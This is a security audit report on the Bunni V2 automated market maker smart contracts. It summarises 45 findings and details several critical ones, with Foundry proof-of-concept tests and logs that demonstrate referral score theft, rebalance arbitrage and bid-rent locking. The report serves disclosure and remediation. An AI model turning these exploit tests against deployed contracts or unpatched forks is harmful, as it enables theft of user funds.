Bunni Security Review

Pashov Audit Group

Conducted by: 0xunforgiven, Shaka, yttriumzz, 0xbepresent

August 19th - September 22th

Contents

1. About Pashov Audit Group

Pashov Audit Group consists of multiple teams of some of the best smart contract security researchers in the space. Having a combined reported security vulnerabilities count of over 1000, the group strives to create the absolute very best audit journey possible - although 100% security can never be guaranteed, we do guarantee the best efforts of our experienced researchers for your blockchain protocol. Check our previous work here or reach out on Twitter @pashovkrum.

2. Disclaimer

A smart contract security review can never verify the complete absence of vulnerabilities. This is a time, resource and expertise bound effort where we try to find as many vulnerabilities as possible. We can not guarantee 100% security after the review or even if the review will find any problems with your smart contracts. Subsequent security reviews, bug bounty programs and on-chain monitoring are strongly recommended.

3. Introduction

A time-boxed security review of the **timeless-fi/bunni-v2** repository was done by **Pashov Audit Group**, with a focus on the security aspects of the application's smart contracts implementation.

4. About Bunni V2

Bunni v2 is an Automated Market Maker designed to make liquidity management simpler and more profitable for users. By introducing features like 'shapeshifting' liquidity and automatic fee compounding, it provides a flexible and efficient way to maximize returns.

5. Risk Classification

Severity	Impact: High	Impact: Medium	Impact: Low
Likelihood: High	Critical	High	Medium
Likelihood: Medium	High	Medium	Low
Likelihood: Low	Medium	Low	Low

5.1. Impact

- High - leads to a significant material loss of assets in the protocol or significantly harms a group of users.
- Medium - only a small amount of funds can be lost (such as leakage of value) or a core functionality of the protocol is affected.
- Low - can lead to any kind of unexpected behavior with some of the protocol's functionalities that's not so critical.

5.2. Likelihood

- High - attack path is possible with reasonable assumptions that mimic on-chain conditions, and the cost of the attack is relatively low compared to the amount of funds that can be stolen or lost.
- Medium - only a conditionally incentivized attack vector, but still relatively likely.
- Low - has too many or too unlikely assumptions or requires a significant stake by the attacker with little or no incentive.

5.3. Action required for severity levels

- Critical - Must fix as soon as possible (if already deployed)
- High - Must fix (before deployment if not already deployed)
- Medium - Should fix
- Low - Could fix

6. Security Assessment Summary

review commit hashes:

- 7faae4718eecda1b33dc3abd894431ed2d16c929
- 95f4270ad4447e96044973580afda9176730e7c8

fixes review commit hashes:

- 5fa7fff3d6e4b192367e398a6d264936d7e7b5ea
- 84af5e83b4ca8930cc40bd546c98d2ff6305d07a

Scope

The following smart contracts were in scope of the audit:

- `amAmm`
- `BaseHook.sol`
- `Constants.sol`
- `ERC20Referrer.sol`
- `Errors.sol`
- `Permit2Enabled.sol`
- `ReentrancyGuard.sol`
- `SharedStructs.sol`
- `BuyTheDipGeometricDistribution.sol`
- `CarpetedDoubleGeometricDistribution.sol`
- `CarpetedGeometricDistribution.sol`
- `DoubleGeometricDistribution.sol`
- `GeometricDistribution.sol`
- `LibBuyTheDipGeometricDistribution.sol`
- `LibCarpetedDoubleGeometricDistribution.sol`
- `LibCarpetedGeometricDistribution.sol`
- `LibDoubleGeometricDistribution.sol`
- `LibGeometricDistribution.sol`
- `LibUniformDistribution.sol`
- `ShiftMode.sol`
- `UniformDistribution.sol`
- `AdditionalCurrencyLib.sol`
- `AmAmmPayload.sol`
- `BunniHookLogic.sol`
- `BunniHubLogic.sol`
- `BunniSwapMath.sol`
- `ExpMath.sol`
- `FeeMath.sol`
- `HookletLib.sol`
- `Math.sol`
- `Oracle.sol`
- `QueryLDF.sol`
- `QueryTWAP.sol`
- `VaultMath.sol`
- `BunniQuoter.sol`
- `PoolState.sol`
- `BunniHook.sol`
- `BunniHub.sol`

- `BunniToken.sol`
- `BunniZone.sol`

7. Executive Summary

Over the course of the security review, 0xunforgiven, Shaka, yttriumzz, 0xbepresent engaged with Bunni to review Bunni V2. In this period of time a total of **45** issues were uncovered.

Protocol Summary

Protocol Name	Bunni V2
Repository	https://github.com/timeless-fi/bunni-v2
Date	August 19th - September 22th
Protocol Type	DEX

Findings Count

Severity	**Amount**
Critical	6
High	5
Medium	21
Low	13
Total Findings	**45**

Summary of Findings

ID	Title	Severity	Status
[C-01]	Any referrer can steal others scores	Critical	Resolved
[C-02]	Fund loss because of wrong amAmm Fee Amount	Critical	Resolved
[C-03]	Fulfiller can arbitrate the rebalancing process interacting with BunniHub	Critical	Resolved
[C-04]	Top bid can lock rent indefinitely by clearing the next bid before the promotion	Critical	Resolved
[C-05]	Attacker can steal bids and rent tokens from BunniHook	Critical	Resolved
[C-06]	Double counting of referral scores leading to over-claiming of tokens	Critical	Resolved
[H-01]	Function poolManager.sync called before the unlock process	High	Resolved
[H-02]	amAMM manager can capture fees from the protocol and referrers	High	Resolved
[H-03]	Share price increases can lead to sandwiching attacks when using only one vault	High	Resolved
[H-04]	Attacker can DOS the rebalance mechanism	High	Resolved
[H-05]	Using the same block number as nonce for permit2 order	High	Resolved
[M-01]	Malicious LP can create withdrawal request frequently and undermine withdrawal delay	Medium	Acknowledged

[M-02]	Incorrect reserve amount handling during deposit	Medium	Resolved
[M-03]	Funds from bids can get locked if amAMM is disabled for a pool	Medium	Resolved
[M-04]	Swaps on the first 24 hours from pool creation cannot use amAMM	Medium	Acknowledged
[M-05]	Promotion of nextBid to topBid can be delayed until no new bids are submitted	Medium	Acknowledged
[M-06]	Wrong referrer reward calculation for address(0) can cause fund loss	Medium	Resolved
[M-07]	It is possible to perform a price inflation attack for Bunni token	Medium	Resolved
[M-08]	Users can deposit liquidity in the last minutes of the previous epoch and earn a fee	Medium	Resolved
[M-09]	Checking if amAMM is enabled	Medium	Resolved
[M-10]	DoS on deposit if vaults do not accept more tokens	Medium	Resolved
[M-11]	Users can call queueWithdraw in advance to bypass the withdraw delay	Medium	Resolved
[M-12]	Incorrect condition handling in BunniSwapMath::_computeSwap()	Medium	Resolved
[M-13]	Bypassing K epochs cooldown limit of NextBid	Medium	Resolved
[M-14]	BunniZone does not verify amAMM manager properly	Medium	Resolved
[M-15]	Incorrect use of "memory-safe" assembly blocks in HookletLib.sol	Medium	Resolved

[M-16]	DoS on pool by minting shares without increasing balance	Medium	Resolved
[M-17]	DoS in cancelNextBid() due to insufficient topBid deposit	Medium	Resolved
[M-18]	BunniQuoter may not provide accurate quotes	Medium	Resolved
[M-19]	Referrer rewards can be arbitraged by sandwich attacks	Medium	Acknowledged
[M-20]	Using AAVE vaults for rehypothecation might lead to an underestimation of the value of the reserve	Medium	Acknowledged
[M-21]	Incorrect rounding in computeSwap()	Medium	Acknowledged
[L-01]	Withdrawal of queued shares reverts if the shares parameter is zero	Low	Resolved
[L-02]	The deployment nonce limit may be too small	Low	Acknowledged
[L-03]	Inconsistencies in pool balances due to external deposits	Low	Acknowledged
[L-04]	Incorrect refund calculation due to exclusion of vault fee in BunniHubLogic	Low	Resolved
[L-05]	previewRedeem function of ERC4626 vaults can revert	Low	Acknowledged
[L-06]	Wrong calculation of surge fee when lastSurgeTimestamp overflows	Low	Resolved
[L-07]	Referrer rewards may be lost because setReferrerAddress does not settle rewards	Low	Acknowledged

[L-08]	Swap with exact output can result in less output than expected	Low	Resolved
[L-09]	Providing low withdrawal fee values on deposits can cause an imbalance	Low	Acknowledged
[L-10]	AmAmm pause may allow the non-best bid to take over	Low	Resolved
[L-11]	Refund discrepancies in AmAmm.sol	Low	Acknowledged
[L-12]	Lack of pool existence check in setAmAmmEnabledOverride()	Low	Resolved
[L-13]	Read-only reentrancy on withdraw() and deposit()	Low	Acknowledged

8. Findings

8.1. Critical Findings

[C-01] Any referrer can steal others scores

Severity

Impact: High

Likelihood: High

Description

The `BunniHub.deposit` function allows the user to pass in his `referrer` and use it as a parameter to mint `BunniToken`. The `BunniToken` contract is a subcontract of `ERC20Referrer` contract. It inherits a mechanism of the `ERC20Referrer` contract: the user's referrer will be changed after mint.

```
function _mint
      (address to, uint256 amount, uint24 referrer) internal virtual {
--snip--
            // Revert if updated balance overflows uint232
            if gt(updatedToBalance, _MAX_BALANCE) {
                mstore(0x00, 0x89560ca1) // `BalanceOverflow()`.
                revert(0x1c, 0x04)
            }
>>          sstore(toBalanceSlot, or(toLocked, or(referrer, updatedToBalance)))
            // Shift `toLocked` to fit into a bool.
            toLocked := shr(255, toLocked)
--snip--
```

Therefore, an attacker can deposit 1 wei token to others to steal their referrer score. For specific attack steps, please see the PoC in the appendix.

Recommendations

Referrer can be set by the user instead of changing it every time mint.

Appendix: PoC

Please insert this test function into the `BunniHubTest` contract.

```
function testYttriumzzPoC0004() external {
        // init pool
        vm.label(address(token0), "token0");
        vm.label(address(token1), "token1");
        vm.label(address(permit2), "permit2");
        Currency currency0 = Currency.wrap(address(token0));
        Currency currency1 = Currency.wrap(address(token1));
        (
          IBunniTokenbunniToken,
          PoolKeymemorykey
        ) = _deployPoolAndInitLiquidity(currency0, currency1, ERC4626(address(0

        // test user
        address userA = makeAddr("userA");
        address userB = makeAddr("userB");
        uint24 referrerA = 0xA;
        uint24 referrerB = 0xB;

        // mint some token0 and token1
        uint256 depositAmount0 = 1e18;
        uint256 depositAmount1 = 1e18;
        uint256 dustAmount = 10;
        _mint(currency0, userA, depositAmount0);
        _mint(currency0, userB, depositAmount0 + dustAmount);
        _mint(currency1, userA, depositAmount1);
        _mint(currency1, userB, depositAmount1 + dustAmount);

        // common depositParams
        IBunniHub.DepositParams memory depositParams;
        depositParams.poolKey = key;
        depositParams.amount0Desired = depositAmount0;
        depositParams.amount1Desired = depositAmount1;
        depositParams.deadline = block.timestamp;

        // userA mint bunniToken
        console.log(">> userA mint bunniToken");
        vm.startPrank(userA);
        token0.approve(address(permit2), type(uint256).max);
        token1.approve(address(permit2), type(uint256).max);
        permit2.approve(address(token0), address(hub), type(uint160).max, type
          (uint48).max);
        permit2.approve(address(token1), address(hub), type(uint160).max, type
          (uint48).max);
        depositParams.recipient = userA;
        depositParams.refundRecipient = userA;
        depositParams.referrer = referrerA;
        hub.deposit(depositParams);
        vm.stopPrank();
        console.log("      bunniToken.balanceOf
          (userA): %s", bunniToken.balanceOf(userA));
        console.log("      bunniToken.scoreOf
          (referrerA): %s", bunniToken.scoreOf(referrerA));

        // userB mint bunniToken
        console.log(">>>>> userB mint bunniToken");
        vm.startPrank(userB);
        token0.approve(address(permit2), type(uint256).max);
        token1.approve(address(permit2), type(uint256).max);
        permit2.approve(address(token0), address(hub), type(uint160).max, type
          (uint48).max);
        permit2.approve(address(token1), address(hub), type(uint160).max, type
          (uint48).max);
        depositParams.recipient = userB;
        depositParams.refundRecipient = userB;
        depositParams.referrer = referrerB;
        hub.deposit(depositParams);
        vm.stopPrank();
```

```
        console.log("      bunniToken.balanceOf
          (userB): %s", bunniToken.balanceOf(userB));
        console.log("      bunniToken.scoreOf
          (referrerB): %s", bunniToken.scoreOf(referrerB));

        // userB mint dust token to userA
        console.log(">>>>> userB steal score of userA");
        uint256 token0BalanceBefore = token0.balanceOf(userB);
        uint256 token1BalanceBefore = token1.balanceOf(userB);
        vm.startPrank(userB);
        depositParams.amount0Desired = dustAmount;
        depositParams.amount1Desired = dustAmount;
        depositParams.recipient = userA;
        depositParams.refundRecipient = userB;
        depositParams.referrer = referrerB;
        hub.deposit(depositParams);
        vm.stopPrank();
        uint256 token0Cost = token0BalanceBefore - token0.balanceOf(userB);
        uint256 token1Cost = token1BalanceBefore - token1.balanceOf(userB);

        // result
        console.log(">>>>> result");
        console.log("      bunniToken.scoreOf
          (referrerA): %s", bunniToken.scoreOf(referrerA));
        console.log("      bunniToken.scoreOf
          (referrerB): %s", bunniToken.scoreOf(referrerB));
        console.log("      userB cost token0 amount: %s", token0Cost);
        console.log("      userB cost token1 amount: %s", token1Cost);
    }
```

Run the PoC.

```
forge test -vvv --match-test testYttriumzzPoC0004
```

The result.

```
$ forge test -vvv --match-test testYttriumzzPoC0004
[⠒] Compiling...
No files changed, compilation skipped

Ran 1 test for test/BunniHub.t.sol:BunniHubTest
[PASS] testYttriumzzPoC0004() (gas: 2194800)
Logs:
  >> userA mint bunniToken
        bunniToken.balanceOf(userA): 1000000000000000000
        bunniToken.scoreOf(referrerA): 1000000000000000000
  >>>>> userB mint bunniToken
        bunniToken.balanceOf(userB): 1000000000000000000
        bunniToken.scoreOf(referrerB): 1000000000000000000
  >>>>> userB steal score of userA
  >>>>> result
        bunniToken.scoreOf(referrerA): 0
        bunniToken.scoreOf(referrerB): 2000000000000000007
        userB cost token0 amount: 2
        userB cost token1 amount: 10

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.12s
  (3.39ms CPU time)

Ran 1 test suite in 1.18s
  (1.12s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

[C-02] Fund loss because of wrong amAmm Fee Amount

Severity

Impact: High

Likelihood: High

Description

When amAMM manager is enabled on the BunniHook, the code sets the wrong value for `amAmmFeeAmount` in `BunniHookLogic.beforeSwap()` function.

```
// decrease output amount
            swapFeeAmount = outputAmount.mulDivUp(swapFee, SWAP_FEE_BASE);
            (amAmmFeeCurrency, amAmmFeeAmount) = (outputToken, swapFeeAmount);

            // take hook fees from swap fee
            // @a: when there's amm whom does hook fee belongs? amFee should be
            // only swapfee-hookfee
            hookFeesAmount = swapFeeAmount.mulDivUp
              (env.hookFeeModifier, MODIFIER_BASE);
            swapFeeAmount -= hookFeesAmount;
```

As you can see code sets `amAmmFeeAmount` as `swapFeeAmount` and in function `BunniHook.beforeSwap()` code assign this fee to amAMM manager:

```
// accrue swap fee to the am-AMM manager if present
        if (useAmAmmFee) {
            _accrueFees(amAmmManager, amAmmFeeCurrency, amAmmFeeAmount);
        }
```

The issue is that in `BunniHookLogic.beforeSwap()` after assigning `amAmmFeeAmount` code subtracts the `hookFeesAmount` from `swapFeeAmount` but doesn't update the `amAmmFeeAmount` so it would cause `amAmmFeeAmount` to always include the hook fee too (in addition to swapFee) and when amAMM enabled the protocol won't receive any fee (hook fee would be assigned to amAMM). It may be a design choice to give a hook fee to amAMM manager but in that case, there would be another issue when calculating `referrerRewardAmount`.

Code distributes part of hook fees to referrers and to do it it uses the funds in the BunniHook contract:

```
// distribute part of hookFees to referrers
        if (hookFeesAmount != 0) {
            uint256 referrerRewardAmount = hookFeesAmount.mulDiv
              (env.referralRewardModifier, MODIFIER_BASE);
            if (referrerRewardAmount != 0) {
--snip--
                bunniState.bunniToken.distributeReferralRewards
                  (isToken0, referrerRewardAmount);
            }
        }
```

While code spends the `referrerRewardAmount` from hook fee it doesn't reduce it from `amAmmFeeAmount` so `amAmmFeeAmount` would be higher than it should be and code would double spend `referrerRewardAmount` (While distributing it to the referrals it would it also assign it to the amAMM manager)

Recommendations

Either set `amAmmFeeAmount = swapFeeAmount - hookFeesAmount` or `amAmmFeeAmount = swapFeeAmount - referrerRewardAmount`

[C-03] Fulfiller can arbitrate the rebalancing process interacting with `BunniHub`

Severity

Impact: High

Likelihood: High

Description

The rebalance process starts when a new order is submitted to the Flood protocol, which happens during a swap operation when certain conditions are met.

With the order submitted, off-chain actors can initiate the execution of the rebalance process. This is done by calling the `FloodPlain.fulfillOrder` function, and passing the order as a parameter. For this call to succeed, the fulfiller is required to be approved in `BunniZone`, specifically the fulfiller is required to be either a whitelisted address or the current manager of the

amAMM. While the whitelisted addresses are expected to be trusted, the amAMM manager might not be.

In the `FloodPlain` contract the `fulfillOrder` function is overloaded. The first version of the function receives just the order as a parameter and uses the `msg.sender` as the fulfiller. The second version receives two additional parameters, one of which is the fulfiller address. Let's focus on the second version and see what the rebalance flow would look like when this function is called.

```
File: FloodPlain.sol

    function fulfillOrder
      (SignedOrder calldata package, address fulfiller, bytes calldata swapData)
        external
        nonReentrant
    {
(...)
        // Check zone accepts the fulfiller. Fulfiller is msg.sender in this
        // case.
1)      if (order.zone != address(0)) if (!(IZone(order.zone).validate
  (order, fulfiller))) revert ZoneDenied();

        // Execute pre hooks.
2)      order.preHooks.execute();

        // Transfer each offer item to fulfiller using Permit2.
3)      _permitTransferOffer(order, package.signature, orderHash, fulfiller);

        // Call fulfiller to perform swaps and return the sourced consideration
        // amount.
4)      uint256 amount =
            IFulfiller(payable(fulfiller)).sourceConsideration
              (SELECTOR_EXTENSION, order, msg.sender, swapData);

        // Ensure sufficient consideration amount is sourced by fulfiller.
        if
          (amount < order.consideration.amount) revert InsufficientAmountReceived();

        // Transfer declared consideration amount from the fulfiller to the
        // offerer.
5)      IERC20(order.consideration.token).safeTransferFrom
  (fulfiller, order.recipient, amount);

        // Execute post hooks.
6)      order.postHooks.execute();
(...)
    }
```

1. It is checked that the fulfiller address is approved in the `BunniZone` contract.
2. `order.preHooks.execute()` calls the `rebalanceOrderPreHook` function of the `BunniHub` contract. `tokenIn` is transferred from `BunniHub` to `BunniHook` and the balance of `tokenIn` in the pool is updated.
3. `tokenIn` is transferred from `BunniHook` to the fulfiller through the `Permit2` contract.

4. The `sourceConsideration` function is called on the fulfiller contract to get the amount of `tokenOut`.
5. If the amount of `tokenOut` is valid, it is transferred from the fulfiller to the `BunniHub` contract.
6. `order.postHooks.execute()` calls the `rebalanceOrderPostHook` function of the `BunniHub` contract. `tokenOut` is deposited in Uniswap's `PoolManager` and credited to the `BunniHub` contract and the balance of `tokenOut` in the pool is updated.

As we can see, when the `sourceConsideration` function is called on the fulfiller contract (step 4), the decrease in the balance of `tokenIn` has been recorded (step 2). However, at this point, the increase in the balance of `tokenOut` has not yet been recorded, and the slot0s has not yet updated the `lastSwapTimestamp` and `lastSurgeTimestamp` values (step 6).

This means that inside the `sourceConsideration` function, the fulfiller can interact with the `BunniHub` contract when it is in an inconsistent state, being able to arbitrate the temporary discrepancy. The PoC section shows an example of how depositing liquidity before the `tokenOut` is credited in the pool the fulfiller mints more shares than it should.

Proof of concept

Add the following code to the file `BunniHub.t.sol` and run `forge test --mt test_rebalance_arb -vv`.

```
uint256 deposit0;
uint256 deposit1;

// Implementation of IFulfiller interface
function sourceConsideration(
    bytes28, /* selectorExtension */
    IFloodPlain.Order calldata order,
    address, /* caller */
    bytes calldata data
) external returns (uint256) {
    // deposit liquidity between rebalanceOrderPreHook and
    // rebalanceOrderPostHook
    IBunniHub.DepositParams memory depositParams = abi.decode(data,
      (IBunniHub.DepositParams));
    (, deposit0, deposit1) = hub.deposit(depositParams);

    return order.consideration.amount;
}

function test_rebalance_arb() external {
    uint256 swapAmount = 1e6;
    uint32 alpha = 359541238;
    uint24 feeMin = 0.3e6;
    uint24 feeMax = 0.5e6;
    uint24 feeQuadraticMultiplier = 1e6;

    MockLDF ldf_ = new MockLDF();
    bytes32 ldfParams = bytes32(abi.encodePacked(ShiftMode.BOTH, int24
      (-3) * TICK_SPACING, int16(6), alpha));
    ldf_.setMinTick(-30); // minTick of MockLDFs need initialization
    (IBunniToken bunniToken, PoolKey memory key) = _deployPoolAndInitLiquidity(
        Currency.wrap(address(token0)),
        Currency.wrap(address(token1)),
        ERC4626(address(0)),
        ERC4626(address(0)),
        ldf_,
        ldfParams,
        abi.encodePacked(
            feeMin,
            feeMax,
            feeQuadraticMultiplier,
            FEE_TWAP_SECONDS_AGO,
            SURGE_FEE,
            SURGE_HALFLIFE,
            SURGE_AUTOSTART_TIME,
            VAULT_SURGE_THRESHOLD_0,
            VAULT_SURGE_THRESHOLD_1,
            REBALANCE_THRESHOLD,
            REBALANCE_MAX_SLIPPAGE,
            REBALANCE_TWAP_SECONDS_AGO,
            REBALANCE_ORDER_TTL,
            true, // amAmmEnabled
            ORACLE_MIN_INTERVAL
        )
    );

    // shift liquidity to the right
    // the LDF will demand more token0, so we'll have too much of token1
    // the rebalance should swap from token1 to token0
    ldf_.setMinTick(-20);

    // make small swap to trigger rebalance
    _mint(key.currency0, address(this), swapAmount);
    IPoolManager.SwapParams memory params = IPoolManager.SwapParams({
        zeroForOne: true,
        amountSpecified: -int256(swapAmount),
        sqrtPriceLimitX96: TickMath.MIN_SQRT_PRICE + 1
```

```
    });
    vm.recordLogs();
    _swap(key, params, 0, "");

    // obtain the order from the logs
    Vm.Log[] memory logs = vm.getRecordedLogs();
    Vm.Log memory orderEtchedLog;
    for (uint256 i = 0; i < logs.length; i++) {
        if (logs[i].emitter == address
          (floodPlain) && logs[i].topics[0] == IOnChainOrders.OrderEtched.selector) {
            orderEtchedLog = logs[i];
            break;
        }
    }
    IFloodPlain.SignedOrder memory signedOrder = abi.decode
      (orderEtchedLog.data, (IFloodPlain.SignedOrder));
    IFloodPlain.Order memory order = signedOrder.order;

    // prepare deposit data
    IBunniHub.DepositParams memory depositParams = IBunniHub.DepositParams({
        poolKey: key,
        amount0Desired: 1e18,
        amount1Desired: 1e18,
        amount0Min: 0,
        amount1Min: 0,
        deadline: block.timestamp,
        recipient: address(this),
        refundRecipient: address(this),
        vaultFee0: 0,
        vaultFee1: 0,
        referrer: 0
    });
    _mint(key.currency0, address(this), depositParams.amount0Desired);
    _mint(key.currency1, address(this), depositParams.amount1Desired);

    // fulfill order
    _mint(key.currency0, address(this), order.consideration.amount);
    bytes memory data = abi.encode(depositParams);
    floodPlain.fulfillOrder(signedOrder, address(this), data);

    // quote withdrawal
    IBunniHub.WithdrawParams memory withdrawParams = IBunniHub.WithdrawParams({
        poolKey: key,
        recipient: address(this),
        shares: bunniToken.balanceOf(address(this)),
        amount0Min: 0,
        amount1Min: 0,
        deadline: block.timestamp,
        useQueuedWithdrawal: false
    });
    (uint256 withdraw0, uint256 withdraw1) = quoter.quoteWithdraw
      (withdrawParams);
    int256 diff0 = int256(withdraw0) - int256(deposit0);
    int256 diff1 = int256(withdraw1) - int256(deposit1);
    console2.log("diff0:", diff0);
    console2.log("diff1:", diff1);
}
```

```
diff0: 16514757552665550
  diff1: -1
```

Recommendations

Establish a mechanism to lock the access to `BunniHub` contract functions between the execution of `rebalanceOrderPreHook` and `rebalanceOrderPostHook` .

An example of how to implement this mechanism is shown below:

```
File: BunniHub.sol

+   function lockForRebalance(PoolKey calldata key) external {
+       if (address(_getBunniTokenOfPool(key.toId())) == address
+ (0)) revert BunniHub__PoolNotExists();
+       if (msg.sender != address(key.hooks)) revert BunniHub__Unauthorized();
+       _nonReentrantBefore();
+   }
+
+   function unlockForRebalance(PoolKey calldata key) external {
+       if (address(_getBunniTokenOfPool(key.toId())) == address
+ (0)) revert BunniHub__PoolNotExists();
+       if (msg.sender != address(key.hooks)) revert BunniHub__Unauthorized();
+       _nonReentrantAfter();
+   }
```

```
File: BunniHook.sol

    function _rebalancePrehookCallback(bytes memory callbackData) internal {
(...)
         // pull claim tokens from BunniHub
        hub.hookHandleSwap(
          {key:key,
          zeroForOne:zeroForOne,
          inputAmount:0,
          outputAmount:amount}
        );

+       hub.lockForRebalance(key);
+
        // burn and take
        poolManager.burn(address(this), currency.toId(), amount);
        poolManager.take(currency, address(this), amount);
    }

(...)

    function _rebalancePosthookCallback(bytes memory callbackData) internal {
(...)
        poolManager.mint(address(this), currency.toId(), paid);

+       hub.unlockForRebalance(key);
+
        // push claim tokens to BunniHub
        hub.hookHandleSwap(
          {key:key,
          zeroForOne:zeroForOne,
          inputAmount:paid,
          outputAmount:0}
        );
    }
```

[C-04] Top bid can lock rent indefinitely by clearing the next bid before the promotion

Severity

Impact: High

Likelihood: High

Description

In the amAMM, the manager of a top bid might be interested in keeping this status, especially if he is paying a low rent in comparison with the fees received.

There are two ways for the top bid to be replaced by another bid.

The first one is when the deposit of the top bid depletes. If the manager considers that the rent he is paying is low, he can just avoid depletion by adding more funds with the `depositIntoTopBid` function.

The other way the top bid can be replaced is by the next bid offering a rent that is more than 10% higher than the top bid's rent. When the rent paid by the top bid is low in comparison with the fees received it is expected that other actors will be willing to offer a higher rent, lowering the margin of profits of the manager and benefiting the LPs.

There is another condition that the next bid must be met, and it is that at least K epochs (24 hours) have passed since the bid was submitted.

```
File: AmAmm.sol

function _stateTransitionWrite
  (uint40 currentEpoch, PoolId id, Bid memory topBid, Bid memory nextBid)
(...)
    // check if K epochs have passed since the next bid was submitted
    // and that the next bid's rent is greater than the top bid's rent + 10%
    // if so, promote next bid to top bid
    uint40 nextBidStartEpoch;
    unchecked {
        // unchecked so that if epoch ever overflows, we simply wrap around
        nextBidStartEpoch = nextBid.epoch + k;
    }
    if (currentEpoch >= nextBidStartEpoch && nextBidIsBetter) {
```

On the other hand, the next bid manager can cancel it as long as the top bid's deposit can cover at least K epochs.

```
File: AmAmm.sol

function cancelNextBid(
  PoolIdid,
  addressrecipient
) external virtual override returns (uint256 refund
(...)
    // require D_top / R_top >= K
    if (topBid.manager != address(0) && topBid.deposit / topBid.rent < K(id)) {
        revert AmAmm__BidLocked();
    }
```

Given these conditions, the manager can just keep clearing the next bid before K epochs after its submission has elapsed. This can be done by creating a higher bid and canceling it.

Proof of concept

Add the following code to the file `AmAmm.t.sol` and run `forge test --mt test_LockRent`.

```
function test_LockRent() external {
    // Setup
    address outbidder = makeAddr("outbidder");
    ERC20Mock bidToken = amAmm.bidToken();
    bidToken.mint(address(this), 2 * K * 1e18);
    bidToken.mint(outbidder, 2 * K * 1e18);
    vm.prank(outbidder);
    bidToken.approve(address(amAmm), type(uint256).max);

    // Create bid with low rent that can last 1 year
    amAmm.bid({
        id: POOL_0,
        manager: address(this),
        payload: _swapFeeToPayload(0.01e6),
        rent: 100,
        deposit: 365 * K * 100
    });

    // After 1 day next bid is promoted to top bid
    skip(K * EPOCH_SIZE);
    IAmAmm.Bid memory topBid = amAmm.getTopBidWrite(POOL_0);
    assertEq(topBid.manager, address(this));

    // A new bid is created
    // 1 day must pass until this bid is promoted to top bid
    vm.prank(outbidder);
    amAmm.bid({
        id: POOL_0,
        manager: outbidder,
        payload: _swapFeeToPayload(0.01e6),
        rent: 1e18,
        deposit: K * 1e18
        });
    IAmAmm.Bid memory nextBid = amAmm.getNextBidWrite(POOL_0);
    assertEq(nextBid.manager, outbidder);

    // After 23 hours top bid manager clears next bid by creating and canceling
    // a new bid
    skip((K - 1) * EPOCH_SIZE);
    amAmm.bid({
        id: POOL_0,
        manager: address(this),
        payload: _swapFeeToPayload(0.01e6),
        rent: 1.11e18,
        deposit: K * 1.11e18
    });
    amAmm.cancelNextBid(POOL_0, address(this));
    nextBid = amAmm.getNextBidWrite(POOL_0);
    assertEq(nextBid.manager, address(0));
}
```

Recommendations

The first option to remediate the issue would be removing the option of canceling the next bid, so that it is not abused for removing the bids of other actors without any cost.

A more complex solution could be storing an ordered list of all the bids. Bidders would be refunded only when canceling their bid and instead of `nextBid` the highest bid on the list would be used for all the state transitions.

[C-05] Attacker can steal bids and rent tokens from BunniHook

Severity

Impact: High

Likelihood: High

Description

In the rebalance mechanism when BunniHook receives tokens function `rebalanceOrderPostHook()` is called and in this function, code transfers the received amounts which is one of the pool tokens to the BunniHub.

```
uint256 orderOutputAmount;
        if (args.currency.isNative()) {
            // unwrap WETH output to native ETH
            orderOutputAmount = weth.balanceOf(address(this));
            weth.withdraw(orderOutputAmount);
        } else {
            orderOutputAmount = args.currency.balanceOfSelf();
        }

        // posthook should wrap output tokens as claim tokens and push it from
        // BunniHook to BunniHub and update pool balances
```

The issue is that the code transfers all the BunniHook's token balance to the BunniHub which can cause loss for managers because when am-AMM is on, the bids and rents are kept on the BunniHook contract as BunniToken which is ERC20. An attacker can create a new malicious BunniToken based on the target Bunnitoken causing a rebalance for the malicious pool and stealing the target BunniToken rents and bids from BunniHook's balance. This is the POC: 1- User1 creates a new pool with pair <TokenA, TokenB> in the BunniHub and BunniToken BT1 is created. The am-AMM manager is enabled for this pool. 2- Users send bids and rent token (BT1) to the BunniHook to become the am-AMM manager. 3- Now attacker creates a new pool with pairs <BT1, AttackerToken> in BunniHub and BT2 is created. 4. Now when balancing happens for attacker pool (BT2) where code wants swap extra AttackerToken to BT1 tokens, function `rebalanceOrderPostHook()` would use whole BT1 balance of BunniHook as swap result and would send it to attacker pool's LP providers. 5. Because BunniHook holds BT1 tokens which are managers' bids and rents codes use them as a swap result of the attacker's pool (BT2) so the attacker would steal the rents.

Recommendations

Only transfer the amounts received from the rebalance swap to BunniHub.

[C-06] Double counting of referral scores leading to over-claiming of tokens

Severity

Impact: High

Likelihood: High

Description

An attacker can exploit the referral scoring system in `BunniToken.sol` by minting tokens using one referrer (`referrer1`), and then minting additional tokens using a different referrer (`referrer2`). This manipulation results in the score for the first referrer being transferred to the second referrer, leading to double counting of the score. Consequently, the second referrer can claim more tokens than they should be able to, effectively draining the rewards funds.

The following test demonstrates how initially both `depositor1` and `depositor2` each deposit `1 ether`, using `referrer1` and `referrer2`, respectively. Then, the `owner` distributes `1 ether` as a reward, resulting in each depositor having `0.5 ether`. Afterward, `depositor1` claims the `0.5 ether` rewards. Subsequently, **`depositor1` mints `0.1 ether` worth of tokens, but this time specifies a different referrer**, changing it to `referrer2`. This causes the score for `referrer2` to increase and the rewards that `referrer2` can claim to also increase. This is incorrect, as it allows the score to be claimed multiple times.

```
function test_claim_mint_doubleCount() public {
        bool isToken0 = true;
        uint256 amountToDistribute = 1 ether;
        // register depositors and referrers
        address depositor1 = makeAddr("depositor1");
        address referrer1Address = makeAddr("referrer1");
        hub.setReferrerAddress(1, referrer1Address);
        address depositor2 = makeAddr("depositor2");
        address referrer2Address = makeAddr("referrer2");
        hub.setReferrerAddress(2, referrer2Address);
        //
        // 1. `Depositor1` deposits 1 ether. referrer1 gets score
        console.log("Depositor1 deposits token using referrer1");
        _makeDeposit(key, 1 ether, 1 ether, depositor1, 1);
        console.log("ScoreOf referrer1", bunniToken.scoreOf(1));
        //
        // 2. `Depositor2` deposits 1 ether. referrer2 gets score.
        console.log("Depositor2 deposits token using referrer2");
        _makeDeposit(key, 1 ether, 1 ether, depositor2, 2);
        console.log("ScoreOf referrer2", bunniToken.scoreOf(2));
        //
        // 3. Distribute rewards to the `BunniToken`
        console.log("\nOwner distributes 1 ether rewards...");
        Currency token = isToken0 ? currency0 : currency1;
        poolManager.unlock(abi.encode(token, amountToDistribute));
        bunniToken.distributeReferralRewards(isToken0, amountToDistribute);
        //
        (
          uint256referrer1Reward0,
          uint256referrer1Reward1
        ) = bunniToken.claimReferralRewards(1
        (
